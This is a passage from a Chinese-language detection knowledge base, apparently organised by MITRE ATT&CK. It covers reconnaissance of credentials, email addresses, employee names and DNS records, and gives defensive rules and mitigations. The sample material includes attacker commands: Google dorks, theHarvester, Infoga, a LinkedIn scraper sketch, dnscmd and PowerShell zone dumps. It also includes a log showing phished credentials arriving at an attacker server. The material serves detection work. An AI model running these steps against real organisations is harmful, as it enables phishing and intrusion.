``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 username=johndoe&password=Pass1234 ``` **说明**: - 通过钓鱼攻击收集用户凭证。 - 关联 T1589.001:通过钓鱼获取凭证。 #### 测试案例 4:查询公开数据泄露 **关联技术**:T1589.001(凭证收集) **说明**: - 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标邮箱的泄露凭证,通常在攻击者设备上通过 API 或网站执行。 **示例操作**: ```bash :: 在浏览器访问 https://haveibeenpwned.com/ :: 输入目标邮箱:john.doe@example.org ``` **输出示例**: ``` Breaches: - LinkedIn (2012-05-05) - Adobe (2013-10-04) ``` **说明**: - 检查目标邮箱是否出现在数据泄露中,可能获取密码。 - 关联 T1589.001:通过公开泄露获取凭证。 #### 测试案例 5:使用 OSINT 工具收集身份信息 **关联技术**:T1589.001(凭证收集) **说明**: - 使用开源情报(OSINT)工具(如 Maltego、SpiderFoot)收集目标组织的身份信息,包括邮箱、用户名或关联账号。 **示例操作**: - 在 Maltego 中: - 输入目标域名:example.org - 运行变换(Transform):提取邮箱、社交媒体账号 **输出示例**: ``` Domain: example.org Emails: john.doe@example.org, jane.smith@example.org Twitter: @JohnDoe, @JaneSmith ``` **说明**: - 整合公开数据,构建目标身份画像。 - 关联 T1589.001:通过 OSINT 获取凭证相关信息。 ## 建议 1. **防御措施**: - **员工培训**:开展反钓鱼和隐私保护培训,提高员工对伪造邮件和社交工程的警惕性。 - **数据最小化**:限制员工在社交媒体和公开网站上暴露的身份信息(如邮箱、职位)。 - **邮件网关**:部署反钓鱼网关,检测伪造邮件和可疑链接。 - **密码策略**:强制使用强密码,定期更换,避免密码重用。 - **多因素认证(MFA)**:为所有账号启用 MFA,降低凭证被盗风险。 2. **后续阶段监控**: - 监控钓鱼攻击(T1566),如异常登录尝试(事件 ID 4624)或可疑邮件点击。 - 检测有效账号使用(T1078),如非预期时间/地点的登录。 - 使用 EDR 或 SIEM 关联异常行为,如凭证爆破(T1110)或外部 API 请求。 3. **外部情报监控**: - 定期检查公开数据泄露(如 Have I Been Pwned),通知员工更新受损凭证。 - 监控社交媒体和暗网,识别针对组织的身份信息收集。 - 与威胁情报服务合作,获取针对组织的侦察预警。 4. **降低误报**: - 区分合法的员工行为(如访问 LinkedIn)与攻击者的爬取活动。 - 结合上下文分析,如异常访问时间、来源 IP 或高频查询。 ## 参考推荐 - MITRE ATT&CK:T1589-001 ================================================ FILE: Windows/01侦察/T1589.002-收集目标组织身份信息-邮件地址.md ================================================ # T1589-002-收集目标组织身份信息-邮件地址 ## 描述 在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的电子邮件地址信息(T1589.002)。这些信息可用于后续攻击活动,包括但不限于目标定位、其他形式的侦察(如搜索开放网站/域或钓鱼攻击 T1566)、建立运营资源(如创建钓鱼邮件账号)或实现初始访问(如凭证爆破 T1110 或鱼叉式钓鱼 T1566.001)。即使组织内部使用私有邮件系统,员工的电子邮件地址也可能通过公开渠道暴露,例如社交媒体、公司官网、数据泄露事件等。由于这些活动通常在目标组织的视野之外(如攻击者的设备或云服务)进行,直接检测较为困难。 攻击者收集电子邮件地址的动机包括: - **推测账号命名规律**:通过分析邮箱地址的命名模式,推测其他系统的账号命名规则,便于后续攻击(如凭据爆破)。 - **弱口令利用**:某些公共邮箱(如 `hr@xxx.com`)可能存在弱口令,易被攻击者利用。 - **精准钓鱼**:利用收集到的邮箱地址发送定制化的钓鱼邮件,提高攻击成功率。 **参考来源**: - HackersArise Email - CNET Leaks ## 测试案例 以下测试案例展示了攻击者可能使用的邮箱地址收集方法,聚焦于 Windows 环境或通用网络环境下的操作。 #### 测试案例 1:Google Hacking 搜索邮箱地址 **关联技术**:T1589.002(邮箱收集) **说明**: - 攻击者利用 Google 搜索引擎的高级语法搜索目标组织的公开邮箱地址,通常在攻击者自己的设备上执行。 **示例操作**: ```bash :: 在浏览器中输入以下 Google 搜索语法 site:example.com intext:@example.com site:example.com "联系我们" | "contact us" intext:email filetype:pdf site:example.com ``` **输出示例**: ``` - 搜索结果可能包含公司官网的联系页面或 PDF 文件,泄露邮箱地址。 - 示例:john.doe@example.com - 示例:hr@example.com ``` **说明**: - 通过公开网页或文档挖掘邮箱地址。 - 关联 T1589.002:通过搜索引擎收集邮箱信息。 #### 测试案例 2:社交媒体爬取邮箱信息 **关联技术**:T1589.002(邮箱收集) **说明**: - 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工邮箱地址,通常使用爬虫工具或手动查询。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/people/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取员工信息 emails = [email for email in soup.find_all(text=lambda t: '@example.com' in t)] print(emails) ``` **输出示例**: ``` Emails: john.doe@example.com, jane.smith@example.com ``` **说明**: - 收集员工邮箱,用于后续钓鱼或推测账号命名规律。 - 关联 T1589.002:通过社交媒体获取邮箱信息。 #### 测试案例 3:查询公开数据泄露 **关联技术**:T1589.002(邮箱收集) **说明**: - 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标邮箱是否出现在泄露事件中,通常通过 API 或网站执行。 **示例操作**: ```bash :: 在浏览器访问 https://haveibeenpwned.com/ :: 输入目标邮箱:john.doe@example.com :: 或使用 API curl -H "hibp-api-key: YOUR_API_KEY" "https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com" ``` **输出示例**: ``` Breaches: - LinkedIn (2012-05-05) - Adobe (2013-10-04) Emails: john.doe@example.com ``` **说明**: - 检查目标邮箱是否泄露,可能获取关联的用户名或密码。 - 关联 T1589.002:通过数据泄露获取邮箱信息。 #### 测试案例 4:使用 The Harvester 收集邮箱 **关联技术**:T1589.002(邮箱收集) **说明**: - 使用 The Harvester 工具从 Google、Bing、PGP 服务器等公共来源收集目标域名的邮箱地址。 **示例操作**: ```bash :: 在攻击者设备上运行 theharvester -d example.com -b google,bing,pgp -l 500 ``` **输出示例**: ``` Emails found: - john.doe@example.com - jane.smith@example.com - hr@example.com ``` **说明**: - 自动化收集目标域名的邮箱地址,适用于渗透测试早期阶段。 - 关联 T1589.002:通过 OSINT 工具获取邮箱信息。 #### 测试案例 5:使用 Infoga 收集邮箱信息 **关联技术**:T1589.002(邮箱收集) **说明**: - 使用 Infoga 工具从公共搜索引擎、PGP 密钥服务器和 Shodan 收集邮箱相关信息(如 IP、主机名)。 **示例操作**: ```bash :: 在攻击者设备上运行 python infoga.py --domain example.com --source all ``` **输出示例**: ``` Emails: - john.doe@example.com (Source: Google) - jane.smith@example.com (Source: Bing) - hr@example.com (Source: PGP) ``` **说明**: - 整合多源数据,构建目标组织的邮箱列表。 - 关联 T1589.002:通过自动化工具获取邮箱信息。 ## 检测日志 由于邮箱地址收集通常发生在目标组织的外部(如公开数据源或攻击者设备),直接监测较为困难。可能的检测日志包括: - **Web 服务器日志**:记录异常的爬虫行为(如高频访问“联系我们”页面)。 - 示例事件:`GET /contact HTTP/1.1` 从异常 IP 或 User-Agent。 - **DNS 查询日志**:记录异常的子域名查询,可能与 The Harvester 等工具相关。 - 示例事件:高频查询 `mail.example.com` 或 `smtp.example.com`。 - **邮件网关日志**:检测钓鱼邮件的发送者地址,可能与收集到的邮箱相关。 - 示例事件:可疑邮件从 `spoofed@example.com` 发送。 ## 测试复现 由于邮箱收集属于被动信息收集,无法直接在目标系统上复现攻击行为。测试复现步骤包括: 1. 使用 Google Hacking 语法(如 `site:example.com intext:@example.com`)搜索目标邮箱。 2. 使用 The Harvester 或 Infoga 扫描目标域名,收集公开邮箱地址。 3. 查询 Have I Been Pwned 检查目标邮箱是否出现在泄露数据库中。 4. 模拟爬取 LinkedIn 或公司官网,提取员工邮箱信息。 **示例复现环境**: - 操作系统:Windows 10 或 Kali Linux - 工具:The Harvester、Infoga、Python 爬虫脚本 - 目标:example.com ## 测试留痕 被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括: - **Web 服务器日志**:记录攻击者的爬虫 IP 或异常访问模式。 - 示例:`192.168.1.100 - - [26/May/2025:07:44:00 +0000] "GET /contact HTTP/1.1" 200 1234` - **第三方平台日志**:如 GitHub 或 LinkedIn 的查询记录(需平台合作获取)。 - **DNS 查询日志**:记录异常的子域名查询。 ## 检测规则/思路 检测邮箱收集活动的重点在于间接证据和后续攻击阶段的关联分析: 1. **监控异常爬虫行为**: - 检查 Web 服务器日志,识别高频访问联系页面或敏感文件的 IP。 - 示例规则(伪代码): ```log if (GET /contact | /about > 100 requests/hour from single IP) then alert ``` - 使用 WAF 设置反爬虫规则,拦截异常 User-Agent。 2. **DNS 查询监控**: - 检测高频或异常的子域名查询(如 `mail.example.com`)。 - 示例规则(伪代码): ```log if (DNS query for *.example.com > 50/hour from single IP) then alert ``` 3. **数据泄露监控**: - 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱的泄露情况。 - 订阅威胁情报服务,获取泄露预警。 4. **邮件网关检测**: - 监控可疑的钓鱼邮件(如伪造的发件人地址)。 - 示例规则(伪代码): ```log if (email from *.example.com and SPF fail) then alert ``` 5. **SIEM 关联分析**: - 整合 Web 服务器、DNS 和邮件网关日志,检测异常模式。 - 示例:关联爬虫访问与后续钓鱼邮件的发送者 IP。 ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、社交媒体等公开渠道暴露员工邮箱地址,使用通用邮箱(如 `info@xxx.com`)或联系表单。 - 对官网的联系页面设置反爬虫机制(如 CAPTCHA 或限流)。 2. **加强密码安全**: - 对公共邮箱(如 `hr@xxx.com`)设置强密码,启用多因素认证(MFA)。 - 定期检查邮箱账号是否存在弱口令或泄露凭据。 3. **员工培训**: - 开展反钓鱼培训,教育员工识别伪造邮件和可疑链接。 - 指导员工避免在社交媒体泄露工作邮箱或敏感信息。 4. **数据泄露监控**: - 定期使用 Have I Been Pwned 或类似服务检查组织邮箱的泄露情况。 - 建立数据泄露响应机制,及时更新受损账号的凭据。 5. **主动 OSINT 评估**: - 使用 The Harvester 或 Infoga 模拟攻击者行为,评估组织在公开渠道的暴露程度。 - 定期检查 GitHub、Pastebin 等平台是否泄露组织邮箱。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 监控邮件网关日志,检测可疑邮件点击或附件打开。 - 示例事件:Windows 事件 ID 4663(文件访问)。 - **凭证爆破(T1110)**: - 监控异常登录尝试,如 Windows 事件 ID 4625(登录失败)。 - 示例规则:`if (failed logins > 5 in 1 minute from single IP) then alert`。 - **有效账号使用(T1078)**: - 检测非预期时间或地点的登录,如 Windows 事件 ID 4624(登录成功)。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织的侦察或数据泄露预警。 - 监控暗网或 Pastebin,识别泄露的邮箱地址。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ### 降低误报 - 区分合法用户行为(如员工访问官网)与攻击者的爬取活动,结合访问时间、IP 地理位置等上下文。 - 使用机器学习模型分析 Web 流量,识别异常爬虫模式。 - 定期更新检测规则,避免误报正常员工的邮件或 DNS 查询。 ## 参考推荐 - MITRE ATT&CK:T1589-002 - 邮箱信息收集 - 白帽与安全 ================================================ FILE: Windows/01侦察/T1589.003-收集目标组织身份信息-员工姓名.md ================================================ # T1589-003-收集目标组织身份信息-员工姓名 ## 描述 在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的员工姓名信息(T1589.003)。这些信息可用于后续攻击活动,包括推导电子邮件地址、指导其他侦察工作(如搜索开放网站/域 T1592 或钓鱼 T1566)、建立运营资源(如创建伪造账号)或实现初始访问(如鱼叉式钓鱼 T1566.001 或有效账号使用 T1078)。员工姓名通常通过公开渠道暴露,例如社交媒体、公司官网、招聘网站或数据泄露事件。由于这些活动通常在目标组织的视野之外(如攻击者的设备或云服务)进行,直接检测较为困难。 攻击者收集员工姓名的动机包括: - **推导邮箱地址**:结合姓名和组织邮箱命名规律,构造员工邮箱地址(如 `john.doe@example.com`),用于钓鱼或凭证爆破(T1110)。 - **定制化诱饵**:利用员工姓名制作更可信的钓鱼邮件或社交工程攻击,提高成功率。 - **身份画像**:结合姓名、职位等信息,构建目标组织的身份架构,为后续攻击提供情报。 **参考来源**: - HackersArise Email - CNET Leaks ## 测试案例 以下测试案例展示了攻击者可能使用的员工姓名收集方法,聚焦于 Windows 环境或通用网络环境下的操作。 #### 测试案例 1:通过招聘网站收集员工姓名 **关联技术**:T1589.003(员工姓名收集) **说明**: - 攻击者通过购买招聘网站(如智联招聘、猎聘)账号或利用免费试用功能,访问目标组织的员工姓名和职位信息。 **示例操作**: - 注册招聘网站账号,搜索目标组织(如 `example.com`)。 - 浏览公开的员工简历或企业页面,提取姓名和职位。 **输出示例**: ``` Name: 张伟, Title: IT Manager Name: 李娜, Title: HR Specialist ``` **说明**: - 招聘网站通常包含员工的姓名、职位和工作经历,易被攻击者利用。 - 关联 T1589.003:通过招聘平台收集员工姓名。 #### 测试案例 2:社交媒体爬取员工姓名 **关联技术**:T1589.003(员工姓名收集) **说明**: - 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名,通常使用爬虫工具或手动查询。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/people/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取员工姓名 names = [name.text for name in soup.find_all('a', class_='profile-link')] print(names) ``` **输出示例**: ``` Names: John Doe, Jane Smith, 张伟, 李娜 ``` **说明**: - 收集员工姓名和职位,用于推导邮箱或定制钓鱼攻击。 - 关联 T1589.003:通过社交媒体获取员工姓名。 #### 测试案例 3:查询公司官网或公开文档 **关联技术**:T1589.003(员工姓名收集) **说明**: - 攻击者通过公司官网的“关于我们”或“团队”页面,或公开的 PDF 文档(如年报、新闻稿)提取员工姓名。 **示例操作**: ```bash :: 使用 Google Hacking 搜索 site:example.com intext:"our team" | "about us" site:example.com filetype:pdf intext:employee ``` **输出示例**: ``` - 官网团队页面:John Doe (CEO), Jane Smith (CTO) - 年报 PDF:张伟 (IT Manager), 李娜 (HR Specialist) ``` **说明**: - 公开网页或文档可能泄露员工姓名和职位。 - 关联 T1589.003:通过公司官网收集员工姓名。 #### 测试案例 4:使用 OSINT 工具收集员工信息 **关联技术**:T1589.003(员工姓名收集) **说明**: - 使用开源情报(OSINT)工具(如 Maltego、SpiderFoot)收集目标组织的员工姓名和关联信息。 **示例操作**: - 在 Maltego 中: - 输入目标域名:`example.com` - 运行变换(Transform):提取员工姓名、职位、社交媒体账号 **输出示例**: ``` Domain: example.com Names: John Doe (IT Manager), Jane Smith (HR Director) LinkedIn: linkedin.com/in/johndoe, linkedin.com/in/janesmith ``` **说明**: - 整合公开数据,构建目标组织的员工画像。 - 关联 T1589.003:通过 OSINT 工具获取员工姓名。 #### 测试案例 5:查询数据泄露数据库 **关联技术**:T1589.003(员工姓名收集) **说明**: - 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标组织的员工姓名和邮箱,可能通过泄露数据推导姓名。 **示例操作**: ```bash :: 在浏览器访问 https://haveibeenpwned.com/ :: 输入目标邮箱:john.doe@example.com :: 或使用 API curl -H "hibp-api-key: YOUR_API_KEY" "https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com" ``` **输出示例**: ``` Breaches: - LinkedIn (2012-05-05): John Doe, john.doe@example.com - Adobe (2013-10-04): Jane Smith, jane.smith@example.com ``` **说明**: - 通过泄露数据提取员工姓名和邮箱。 - 关联 T1589.003:通过数据泄露获取员工姓名。 ## 检测日志 由于员工姓名收集通常发生在目标组织的外部(如公开数据源或攻击者设备),直接监测较为困难。可能的检测日志包括: - **Web 服务器日志**:记录异常的爬虫行为,如高频访问“关于我们”或“团队”页面。 - 示例事件:`GET /about HTTP/1.1` 从异常 IP 或 User-Agent。 - **DNS 查询日志**:记录异常的子域名查询,可能与 OSINT 工具(如 Maltego)相关。 - 示例事件:高频查询 `www.example.com` 或 `team.example.com`。 - **第三方平台日志**:如 LinkedIn 或招聘网站的访问记录(需平台合作获取)。 ## 测试复现 由于员工姓名收集属于被动信息收集,无法直接在目标系统上复现攻击行为。测试复现步骤包括: 1. 使用 Google Hacking 语法(如 `site:example.com intext:"our team"`)搜索员工姓名。 2. 使用 Maltego 或 SpiderFoot 扫描目标域名,提取员工姓名和职位。 3. 查询 Have I Been Pwned 检查目标邮箱是否泄露,推导员工姓名。 4. 模拟爬取 LinkedIn 或公司官网,提取员工姓名信息。 **示例复现环境**: - 操作系统:Windows 10 或 Kali Linux - 工具:Maltego、SpiderFoot、Python 爬虫脚本 - 目标:`example.com` ## 测试留痕 被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括: - **Web 服务器日志**:记录攻击者的爬虫 IP 或异常访问模式。 - 示例:`192.168.1.100 - - [26/May/2025:07:44:00 +0000] "GET /about HTTP/1.1" 200 1234` - **第三方平台日志**:如 LinkedIn 或招聘网站的查询记录(需平台合作获取)。 - **DNS 查询日志**:记录异常的子域名查询。 ## 检测规则/思路 检测员工姓名收集活动的重点在于间接证据和后续攻击阶段的关联分析: 1. **监控异常爬虫行为**: - 检查 Web 服务器日志,识别高频访问“关于我们”或“团队”页面的 IP。 - 示例规则(伪代码): ```log if (GET /about | /team > 100 requests/hour from single IP) then alert ``` - 使用 WAF 设置反爬虫规则,拦截异常 User-Agent。 2. **DNS 查询监控**: - 检测高频或异常的子域名查询(如 `team.example.com`)。 - 示例规则(伪代码): ```log if (DNS query for *.example.com > 50/hour from single IP) then alert ``` 3. **数据泄露监控**: - 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱和姓名的泄露情况。 - 订阅威胁情报服务,获取泄露预警。 4. **邮件网关检测**: - 监控可疑的钓鱼邮件,可能使用收集到的员工姓名定制内容。 - 示例规则(伪代码): ```log if (email contains employee name and SPF fail) then alert ``` 5. **SIEM 关联分析**: - 整合 Web 服务器、DNS 和邮件网关日志,检测异常模式。 - 示例:关联爬虫访问与后续钓鱼邮件的发送者 IP。 ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、社交媒体或招聘网站暴露员工姓名和职位,使用通用联系方式(如 `info@xxx.com`)或匿名化团队介绍。 - 对官网的“关于我们”或“团队”页面设置反爬虫机制(如 CAPTCHA 或限流)。 2. **员工隐私保护**: - 指导员工在社交媒体(如 LinkedIn)限制公开信息,避免泄露姓名、职位或工作邮箱。 - 定期清理或匿名化招聘网站上的员工简历。 3. **数据泄露监控**: - 定期使用 Have I Been Pwned 或类似服务检查组织邮箱和姓名的泄露情况。 - 建立数据泄露响应机制,及时通知员工更新受损账号的凭据。 4. **员工培训**: - 开展反钓鱼和社交工程培训,教育员工识别伪造邮件和可疑链接。 - 提高员工对隐私保护的意识,避免在公开场合泄露姓名或职位。 5. **主动 OSINT 评估**: - 使用 Maltego 或 SpiderFoot 模拟攻击者行为,评估组织在公开渠道的暴露程度。 - 定期检查 GitHub、Pastebin 或社交媒体是否泄露员工姓名。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 监控邮件网关日志,检测使用员工姓名定制的钓鱼邮件。 - 示例事件:Windows 事件 ID 4663(文件访问)。 - **凭证爆破(T1110)**: - 监控异常登录尝试,如 Windows 事件 ID 4625(登录失败)。 - 示例规则:`if (failed logins > 5 in 1 minute from single IP) then alert`。 - **有效账号使用(T1078)**: - 检测非预期时间或地点的登录,如 Windows 事件 ID 4624(登录成功)。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织的侦察或数据泄露预警。 - 监控暗网或 Pastebin,识别泄露的员工姓名和邮箱。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ### 降低误报 - 区分合法用户行为(如员工访问官网)与攻击者的爬取活动,结合访问时间、IP 地理位置等上下文。 - 使用机器学习模型分析 Web 流量,识别异常爬虫模式。 - 定期更新检测规则,避免误报正常的官网访问或 DNS 查询。 ## 参考推荐 - MITRE ATT&CK:T1589-003 - 数据泄露查询工具 - - - - Maltego 文档 - SpiderFoot 文档 ================================================ FILE: Windows/01侦察/T1590-win-DNS记录获取.md ================================================ # T1590-收集目标组织网络信息-DNS记录获取 ## 描述 在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的 DNS 记录信息(T1590)。这些信息可用于目标定位、了解网络架构或指导后续攻击活动(如钓鱼 T1566、有效账号 T1078 或服务探测 T1046)。DNS 记录(如 A、MX、CNAME、TXT 等)通常通过公开渠道或内部权限获取,暴露目标组织的服务器、邮件系统或其他关键基础设施。由于这些活动可能在目标组织的视野之外(如攻击者的设备或公开 DNS 查询)或内部环境中(如利用已获得的权限)进行,检测具有一定挑战性。 在域渗透场景中,DNS 记录是了解目标域内网络架构的重要情报。例如,获取 MX 记录可揭示邮件服务器地址,A 记录可暴露主机 IP,CNAME 记录可揭示子域名关系。如果攻击者已获得域内权限(如管理员权限),DNS 记录可进一步帮助其识别关键资产或薄弱点,为横向移动(T1021)或数据泄露(T1537)提供支持。 **参考来源**: - 3gstudent: 域渗透——DNS记录的获取 - Microsoft: dnscmd 文档 ## 测试案例 以下测试案例展示了攻击者可能使用的 DNS 记录收集方法,聚焦于 Windows 环境下的操作(内部权限场景)和外部公开信息收集。 #### 测试案例 1:使用 dnscmd 获取 DNS 记录 **关联技术**:T1590(DNS 记录获取) **说明**: - 攻击者在已获得域内权限(如管理员权限)的情况下,使用 Windows 内置工具 `dnscmd` 查询 DNS 服务器的记录。 **适用系统**: - Windows Server 2003/2008/2012(含 R2 版本) - Windows 7/10(需安装 Remote Server Administration Tools, RSAT) **示例操作**: ```cmd :: 查询 DNS 区域信息 dnscmd . /ZoneInfo example.com :: 枚举所有 DNS 区域 dnscmd . /EnumZones :: 显示区域中的所有记录 dnscmd . /ZonePrint example.com ``` **输出示例**: ``` Zone: example.com Type: Primary Records: @ A 192.168.1.10 mail A 192.168.1.20 www CNAME web.example.com MX 10 mail.example.com ``` **说明**: - `dnscmd` 是 Windows Server 的命令行工具,用于管理 DNS 服务器,需管理员权限。 - 关联 T1590:通过内部权限获取 DNS 记录。 #### 测试案例 2:使用 PowerShell 获取 DNS 记录 **关联技术**:T1590(DNS 记录获取) **说明**: - 攻击者在域内环境中使用 PowerShell 的 `DnsServer` 模块查询 DNS 记录,替代即将弃用的 `dnscmd`。 **示例操作**: ```powershell # 导入 DnsServer 模块 Import-Module DnsServer # 查询 DNS 区域信息 Get-DnsServerZone -Name "example.com" # 查询特定记录 Get-DnsServerResourceRecord -ZoneName "example.com" ``` **输出示例**: ``` ZoneName: example.com ZoneType: Primary Records: HostName: @, RecordType: A, Data: 192.168.1.10 HostName: mail, RecordType: A, Data: 192.168.1.20 HostName: www, RecordType: CNAME, Data: web.example.com HostName: @, RecordType: MX, Data: 10 mail.example.com ``` **说明**: - PowerShell 是 Microsoft 推荐的 `dnscmd` 替代工具,适用于 Windows Server 2012 及以上版本。 - 关联 T1590:通过 PowerShell 获取 DNS 记录。 #### 测试案例 3:外部 DNS 查询(公开信息) **关联技术**:T1590(DNS 记录获取) **说明**: - 攻击者通过外部工具(如 `nslookup`、`dig` 或在线服务)查询目标组织的公开 DNS 记录。 **示例操作**: ```bash :: 使用 nslookup 查询 MX 记录 nslookup -type=MX example.com :: 使用 dig 查询所有记录 dig example.com ANY ``` **输出示例**: ``` ;; ANSWER SECTION: example.com. 3600 IN A 192.168.1.10 example.com. 3600 IN MX 10 mail.example.com example.com. 3600 IN TXT "v=spf1 mx -all" ``` **说明**: - 公开 DNS 查询无需权限,可从攻击者的设备执行。 - 关联 T1590:通过外部查询获取 DNS 记录。 #### 测试案例 4:使用 OSINT 工具收集 DNS 信息 **关联技术**:T1590(DNS 记录获取) **说明**: - 使用开源情报(OSINT)工具(如 The Harvester、dnsdumpster)收集目标组织的 DNS 记录和子域名。 **示例操作**: ```bash :: 使用 The Harvester 枚举子域名和 DNS 记录 theharvester -d example.com -b google,dnsdumpster ``` **输出示例**: ``` Subdomains: - mail.example.com (A: 192.168.1.20) - www.example.com (CNAME: web.example.com) - vpn.example.com (A: 192.168.1.30) ``` **说明**: - OSINT 工具整合公开数据,适用于外部侦察阶段。 - 关联 T1590:通过 OSINT 工具获取 DNS 记录。 #### 测试案例 5:查询数据泄露中的 DNS 信息 **关联技术**:T1590(DNS 记录获取) **说明**: - 攻击者通过数据泄露数据库或暗网市场获取目标组织的 DNS 相关信息(如子域名或服务器 IP)。 **示例操作**: - 访问 Pastebin 或暗网市场,搜索目标域名 `example.com`。 - 使用 Have I Been Pwned 检查与域名相关的泄露数据。 **输出示例**: ``` Pastebin Leak: - Subdomain: internal.example.com, IP: 192.168.1.100 - MX: mail.example.com, IP: 192.168.1.20 ``` **说明**: - 数据泄露可能暴露内部 DNS 记录或配置。 - 关联 T1590:通过数据泄露获取 DNS 信息。 ## 检测日志 DNS 记录获取可能发生在外部(公开查询)或内部(利用权限),检测日志因场景而异: - **Windows 安全日志**(内部场景): - **事件 ID 4688**(新进程创建):记录 `dnscmd.exe` 或 PowerShell 进程的启动。 - 示例:`New Process Name: C:\Windows\System32\dnscmd.exe` - **事件 ID 4674**(权限分配):记录对 DNS 服务器的高权限操作。 - **DNS 服务器日志**: - 记录异常的 DNS 查询,如高频查询特定区域或记录类型(A、MX、TXT)。 - 示例:`Query: example.com, Type: ANY, Source: 192.168.1.100` - **网络流量日志**: - 外部查询可能产生异常的 DNS 请求(如高频 `ANY` 查询)。 - 示例:`UDP 53, Source: 203.0.113.1, Query: mail.example.com` - **Web 服务器日志**(OSINT 场景): - 记录爬取公司官网的异常访问,可能与子域名推测相关。 - 示例:`GET /sitemap.xml HTTP/1.1` 从异常 IP。 ## 测试复现 ### 内部场景(已获得权限) 1. **环境**:Windows Server 2016,域管理员权限。 2. **步骤**: - 安装 RSAT(若未预装 `dnscmd`)。 - 执行 `dnscmd . /ZoneInfo example.com` 或 `Get-DnsServerZone -Name example.com`。 3. **预期结果**:返回 DNS 区域信息和记录(如 A、MX、CNAME)。 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有 `nslookup`/`dig` 的系统。 2. **步骤**: - 执行 `nslookup -type=MX example.com` 或 `dig example.com ANY`。 - 使用 The Harvester:`theharvester -d example.com -b dnsdumpster`。 3. **预期结果**:返回公开的 DNS 记录和子域名。 **注意**:`dnscmd` 在 Windows Server 2016 及以上版本可能不默认支持,推荐使用 PowerShell 的 `DnsServer` 模块。 ## 测试留痕 ### 内部场景 - **Windows 安全日志**: ``` Event ID: 4688 Creator Subject: Security ID: EXAMPLE\admin Account Name: admin Account Domain: EXAMPLE Logon ID: 0x36D7FD Process Information: New Process ID: 0x111c New Process Name: C:\Windows\System32\dnscmd.exe Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: dnscmd /ZoneInfo example.com ``` - **DNS 服务器日志**: ``` Query: example.com, Type: SOA, Source: 192.168.1.100 ``` ### 外部场景 - **DNS 查询日志**(若目标控制 DNS 服务器): ``` Query: mail.example.com, Type: A, Source: 203.0.113.1 ``` - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /sitemap.xml HTTP/1.1" 200 1234 ``` ## 检测规则/思路 ### 检测规则 1. **监控 dnscmd 和 PowerShell 进程**: - 检查 Windows 事件 ID 4688,检测 `dnscmd.exe` 或 `powershell.exe` 的异常启动。 - 示例规则(伪代码): ```log if (EventID == 4688 and ProcessName == "dnscmd.exe" or ProcessName == "powershell.exe" and CommandLine contains "DnsServer") then alert ``` 2. **DNS 查询异常**: - 监控 DNS 服务器日志,检测高频查询(如 `ANY` 类型或多个子域名)。 - 示例规则(伪代码): ```log if (DNS Query Type == ANY and Queries > 50/hour from single IP) then alert ``` 3. **网络流量分析**: - 检测异常的 UDP 53 流量(如高频外部查询)。 - 示例规则(伪代码): ```log if (UDP Port 53 and Source IP not in Trusted_IPs and Queries > 100/hour) then alert ``` 4. **Web 爬虫检测**: - 检查 Web 服务器日志,识别高频访问 sitemap.xml 或子域名相关页面的 IP。 - 示例规则(伪代码): ```log if (GET /sitemap.xml | /about > 100 requests/hour from single IP) then alert ``` ### 检测思路 - **内部威胁**:重点监控域内管理员权限的使用,检测异常的 DNS 管理操作(如 `dnscmd` 或 PowerShell 命令)。 - **外部威胁**:分析 DNS 查询模式,识别异常的高频或广域查询(如 `ANY` 查询)。 - **SIEM 关联分析**:整合 Windows 安全日志、DNS 服务器日志和网络流量,检测异常模式。 - **威胁情报**:订阅外部情报,监控针对目标域名的 DNS 记录泄露或扫描活动。 ## 建议 ### 防御措施 1. **限制 DNS 记录公开**: - 最小化公开的 DNS 记录(如避免不必要的 TXT 或 CNAME 记录)。 - 使用私有 DNS 服务器,限制外部查询(如仅允许信任的 IP)。 2. **加强权限管理**: - 限制对 DNS 服务器的管理权限,仅授权必要管理员使用 `dnscmd` 或 `DnsServer` 模块。 - 启用多因素认证(MFA)保护域管理员账号。 3. **DNS 安全配置**: - 启用 DNSSEC(DNS 安全扩展)防止 DNS 记录篡改。 - 配置防火墙,限制外部对 DNS 服务器的查询(UDP 53)。 4. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露与 DNS 相关的配置信息。 - 提高对社交工程攻击的警惕性,防止内部权限泄露。 5. **主动 OSINT 评估**: - 使用 The Harvester 或 dnsdumpster 模拟攻击者行为,评估公开 DNS 记录的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的 DNS 信息。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 监控邮件网关日志,检测利用 DNS 记录(如 MX 服务器)的钓鱼邮件。 - 示例事件:Windows 事件 ID 4663(文件访问)。 - **服务探测(T1046)**: - 监控网络扫描活动,检测针对 DNS 记录暴露的服务器(如 `mail.example.com`)的探测。 - 示例规则:`if (TCP SYN to 192.168.1.20 > 10/min from single IP) then 